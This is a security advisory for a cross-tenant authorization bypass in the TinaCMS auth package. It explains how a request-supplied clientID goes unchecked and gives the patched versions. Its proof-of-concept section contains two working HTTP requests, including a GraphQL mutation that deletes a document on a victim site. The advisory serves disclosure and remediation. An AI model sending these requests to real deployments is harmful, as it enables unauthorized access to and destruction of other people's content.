CVE-2026-63506: @tinacms/auth Cross-Tenant Authorization Bypass
A flaw in TinaCMS lets anyone with a free TinaCloud account impersonate an authorized user on a completely unrelated self-hosted site by supplying their own app ID and token in the request.

The problem
In @tinacms/auth <= 1.1.3, the isAuthorized(req) function reads clientID straight from the incoming request query string and validates the caller's bearer token against that attacker-chosen TinaCloud app at identity.tinajs.io. The site never checks whether that clientID matches its own configured app.
The result is a full tenant-boundary collapse. An attacker with one free TinaCloud account can target any self-hosted TinaCMS deployment, supply their own clientID and a valid token for it, and the victim's authorization gate returns true because the token really is valid, just for the wrong app.
Proof of concept
A working proof-of-concept for CVE-2026-63506 in @tinacms/auth, with the exact payload below.
# Media endpoint (read; same gate covers POST upload and DELETE)
GET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1
Host: victim.example
Authorization: Bearer ATTACKER_TOKEN
---
# Content backend with TinaCloudBackendAuthProvider (full GraphQL write)
POST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1
Host: victim.example
Authorization: Bearer ATTACKER_TOKEN
Content-Type: application/json
{"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}","variables":{"c":"post","r":"hello.md"}}The root cause (CWE-639, Authorization Bypass Through User-Controlled Key) is that req.query.clientID is attacker-controlled and is passed directly into the identity lookup without ever being compared to the site's own configured app id. The identity server behaves correctly: it validates the token against whatever app is named.
The bug is that the victim lets the caller name the app.
The patch adds an expectedClientID parameter to isAuthorized, falling back to process.env.NEXT_PUBLIC_TINA_CLIENT_ID. If the request carries a clientID that does not equal the site's own, the function returns undefined immediately, before any network call is made.
The same fix was applied to next-tinacms-azure/src/auth.ts, which had an identical pattern via req.nextUrl.searchParams.get('clientID').
The fix
Upgrade @tinacms/auth to **1.1.4** and next-tinacms-azure to **15.0.1** (PR #7168, commit 0a927a4). If you use a custom media authorized callback that calls isAuthorized(req) directly, pass your site's clientID as the second argument (isAuthorized(req, process.env.NEXT_PUBLIC_TINA_CLIENT_ID)) and ensure NEXT_PUBLIC_TINA_CLIENT_ID is set in your environment.
Authorization now fails closed when the site's clientID cannot be resolved at runtime.
Reported by Aibono1225.
Related research
- high · 8.6CVE-2026-55604CVE-2026-55604: @arikusi/deepseek-mcp-server Cross-Session Authorization Bypass
- high · 7.5CVE-2026-55178CVE-2026-55178: GeoLens Cross-Dataset Authorization Bypass
- highCVE-2026-70476CVE-2026-70476: Flowise Broken Access Control in Stripe Billing Endpoints
- highCVE-2026-69258CVE-2026-69258: Flowise Unauthenticated Property Injection via Ungated overrideConfig Spread